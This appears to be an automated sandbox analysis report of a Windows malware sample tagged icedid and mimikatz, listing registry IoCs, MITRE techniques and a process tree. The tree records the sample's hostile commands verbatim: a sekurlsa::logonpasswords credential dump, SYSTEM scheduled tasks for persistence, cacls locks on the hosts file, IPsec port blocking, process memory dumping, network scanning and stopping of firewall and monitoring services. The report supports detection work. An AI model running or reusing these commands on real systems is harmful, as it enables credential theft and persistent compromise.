Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E38402DF-3D1C-46FF-9F71-7B7F06D441B3}\WpadDecisionTime = 40d78518fe92da01	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1"	rdglllqba.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	hbuauda.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump	rdglllqba.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	hbuauda.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E38402DF-3D1C-46FF-9F71-7B7F06D441B3}\WpadDecisionReason = "1"	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E38402DF-3D1C-46FF-9F71-7B7F06D441B3}\WpadDecisionTime = 005263e2fd92da01	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	hbuauda.exe

Modifies registry class 14 IoCs

Processes:

hbuauda.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	hbuauda.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

hbuauda.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	hbuauda.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	hbuauda.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2900 PING.EXE
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

Processes:

hbuauda.exehbuauda.exe

pid process

2984 hbuauda.exe
296 hbuauda.exe

pid	process
2900	PING.EXE

pid	process
2984	hbuauda.exe
296	hbuauda.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

hbuauda.exe

pid	process
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe

Suspicious behavior: LoadsDriver 31 IoCs

Processes:

pid process

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Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe

pid process

1644 2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe

pid	process
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Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exehbuauda.exehbuauda.exevfshost.exesvchost.exerdglllqba.exeyzhesb.exerdglllqba.exerdglllqba.exerdglllqba.exerdglllqba.exe

description	pid	process
Token: SeDebugPrivilege	1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2496	hbuauda.exe
Token: SeDebugPrivilege	2636	hbuauda.exe
Token: SeDebugPrivilege	2852	vfshost.exe
Token: SeAuditPrivilege	1856	svchost.exe
Token: SeDebugPrivilege	348	rdglllqba.exe
Token: SeShutdownPrivilege	348	rdglllqba.exe
Token: SeLockMemoryPrivilege	836	yzhesb.exe
Token: SeLockMemoryPrivilege	836	yzhesb.exe
Token: SeDebugPrivilege	1692	rdglllqba.exe
Token: SeShutdownPrivilege	1692	rdglllqba.exe
Token: SeDebugPrivilege	1276	rdglllqba.exe
Token: SeShutdownPrivilege	1276	rdglllqba.exe
Token: SeDebugPrivilege	1520	rdglllqba.exe
Token: SeShutdownPrivilege	1520	rdglllqba.exe
Token: SeDebugPrivilege	1924	rdglllqba.exe
Token: SeShutdownPrivilege	1924	rdglllqba.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exehbuauda.exehbuauda.exexohudmc.exevifzsk.exehbuauda.exehbuauda.exe

pid	process
1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
2496	hbuauda.exe
2496	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2912	xohudmc.exe
1660	vifzsk.exe
2984	hbuauda.exe
2984	hbuauda.exe
296	hbuauda.exe
296	hbuauda.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.execmd.exehbuauda.execmd.execmd.exewpcap.exe

description	pid	process	target process
PID 1644 wrote to memory of 1980	1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1644 wrote to memory of 1980	1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1644 wrote to memory of 1980	1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1644 wrote to memory of 1980	1644	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1980 wrote to memory of 2900	1980	cmd.exe	PING.EXE
PID 1980 wrote to memory of 2900	1980	cmd.exe	PING.EXE
PID 1980 wrote to memory of 2900	1980	cmd.exe	PING.EXE
PID 1980 wrote to memory of 2900	1980	cmd.exe	PING.EXE
PID 1980 wrote to memory of 2496	1980	cmd.exe	hbuauda.exe
PID 1980 wrote to memory of 2496	1980	cmd.exe	hbuauda.exe
PID 1980 wrote to memory of 2496	1980	cmd.exe	hbuauda.exe
PID 1980 wrote to memory of 2496	1980	cmd.exe	hbuauda.exe
PID 2636 wrote to memory of 2656	2636	hbuauda.exe	cmd.exe
PID 2636 wrote to memory of 2656	2636	hbuauda.exe	cmd.exe
PID 2636 wrote to memory of 2656	2636	hbuauda.exe	cmd.exe
PID 2636 wrote to memory of 2656	2636	hbuauda.exe	cmd.exe
PID 2656 wrote to memory of 2504	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2504	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2504	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2504	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2280	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2280	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2280	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2280	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2412	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2412	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2412	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2412	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2408	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2408	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2408	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2408	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2524	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2524	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2524	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2524	2656	cmd.exe	cmd.exe
PID 2656 wrote to memory of 2556	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2556	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2556	2656	cmd.exe	cacls.exe
PID 2656 wrote to memory of 2556	2656	cmd.exe	cacls.exe
PID 2636 wrote to memory of 2404	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2404	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2404	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2404	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2436	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2436	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2436	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2436	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2116	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2116	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2116	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2116	2636	hbuauda.exe	netsh.exe
PID 2636 wrote to memory of 2896	2636	hbuauda.exe	cmd.exe
PID 2636 wrote to memory of 2896	2636	hbuauda.exe	cmd.exe
PID 2636 wrote to memory of 2896	2636	hbuauda.exe	cmd.exe
PID 2636 wrote to memory of 2896	2636	hbuauda.exe	cmd.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2896 wrote to memory of 2620	2896	cmd.exe	wpcap.exe
PID 2620 wrote to memory of 1548	2620	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1040

C:\Windows\TEMP\abyrlhezn\yzhesb.exe
"C:\Windows\TEMP\abyrlhezn\yzhesb.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Users\Admin\AppData\Local\Temp\2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tkeblhan\hbuauda.exe
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1980

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
3⤵
- Runs ping.exe
PID:2900

C:\Windows\tkeblhan\hbuauda.exe
C:\Windows\tkeblhan\hbuauda.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2496

C:\Windows\tkeblhan\hbuauda.exe
C:\Windows\tkeblhan\hbuauda.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2636

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
2⤵
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:2504

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\drivers\etc\hosts /T /D users
3⤵
PID:2280

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:2412

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
3⤵
PID:2408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:2524

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
3⤵
PID:2556

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static del all
2⤵
- Modifies data under HKEY_USERS
PID:2404

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add policy name=Bastards description=FuckingBastards
2⤵
- Modifies data under HKEY_USERS
PID:2436

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filteraction name=BastardsList action=block
2⤵
- Modifies data under HKEY_USERS
PID:2116

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\ybbsclezq\sdgebhger\wpcap.exe /S
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2896

C:\Windows\ybbsclezq\sdgebhger\wpcap.exe
C:\Windows\ybbsclezq\sdgebhger\wpcap.exe /S
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\SysWOW64\net.exe
net stop "Boundary Meter"
4⤵
PID:1548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Boundary Meter"
5⤵
PID:1596

C:\Windows\SysWOW64\net.exe
net stop "TrueSight Meter"
4⤵
PID:948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TrueSight Meter"
5⤵
PID:1576

C:\Windows\SysWOW64\net.exe
net stop npf
4⤵
PID:2692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop npf
5⤵
PID:676

C:\Windows\SysWOW64\net.exe
net start npf
4⤵
PID:1172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
5⤵
PID:3056

C:\Windows\SysWOW64\cmd.exe
cmd /c net start npf
2⤵
PID:1828

C:\Windows\SysWOW64\net.exe
net start npf
3⤵
PID:2220

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
4⤵
PID:2212

C:\Windows\SysWOW64\cmd.exe
cmd /c net start npf
2⤵
PID:2204

C:\Windows\SysWOW64\net.exe
net start npf
3⤵
PID:1616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
4⤵
PID:2140

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\ybbsclezq\sdgebhger\zkyetylab.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ybbsclezq\sdgebhger\Scant.txt
2⤵
- Loads dropped DLL
PID:1296

C:\Windows\ybbsclezq\sdgebhger\zkyetylab.exe
C:\Windows\ybbsclezq\sdgebhger\zkyetylab.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ybbsclezq\sdgebhger\Scant.txt
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:568

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\ybbsclezq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ybbsclezq\Corporate\log.txt
2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1460

C:\Windows\ybbsclezq\Corporate\vfshost.exe
C:\Windows\ybbsclezq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2852

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "zqsuqyaue" /ru system /tr "cmd /c C:\Windows\ime\hbuauda.exe"
2⤵
PID:1784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:1724

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "zqsuqyaue" /ru system /tr "cmd /c C:\Windows\ime\hbuauda.exe"
3⤵
- Creates scheduled task(s)
PID:2152

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ykuanabgb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tkeblhan\hbuauda.exe /p everyone:F"
2⤵
PID:2872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:1840

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "ykuanabgb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tkeblhan\hbuauda.exe /p everyone:F"
3⤵
- Creates scheduled task(s)
PID:1664

C:\Windows\SysWOW64\cmd.exe
cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "nlqbsllsb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\abyrlhezn\yzhesb.exe /p everyone:F"
2⤵
PID:1740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
3⤵
PID:1640

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "nlqbsllsb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\abyrlhezn\yzhesb.exe /p everyone:F"
3⤵
- Creates scheduled task(s)
PID:556

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
2⤵
PID:756

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
2⤵
PID:2816

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
2⤵
PID:1528

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=Bastards assign=y
2⤵
- Modifies data under HKEY_USERS
PID:2528

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
2⤵
- Modifies data under HKEY_USERS
PID:2824

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
2⤵
- Modifies data under HKEY_USERS
PID:2548

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
2⤵
- Modifies data under HKEY_USERS
PID:2552

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=Bastards assign=y
2⤵
PID:2384

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
2⤵
PID:2416

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
2⤵
PID:2444

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
2⤵
- Modifies data under HKEY_USERS
PID:1496

C:\Windows\SysWOW64\netsh.exe
netsh ipsec static set policy name=Bastards assign=y
2⤵
- Modifies data under HKEY_USERS
PID:2772

C:\Windows\TEMP\ybbsclezq\rdglllqba.exe
C:\Windows\TEMP\ybbsclezq\rdglllqba.exe -accepteula -mp 1040 C:\Windows\TEMP\ybbsclezq\1040.dmp
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:348

C:\Windows\SysWOW64\cmd.exe
cmd /c net stop SharedAccess
2⤵
PID:2124

C:\Windows\SysWOW64\net.exe
net stop SharedAccess
3⤵
PID:1480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SharedAccess
4⤵
PID:2960

C:\Windows\SysWOW64\cmd.exe
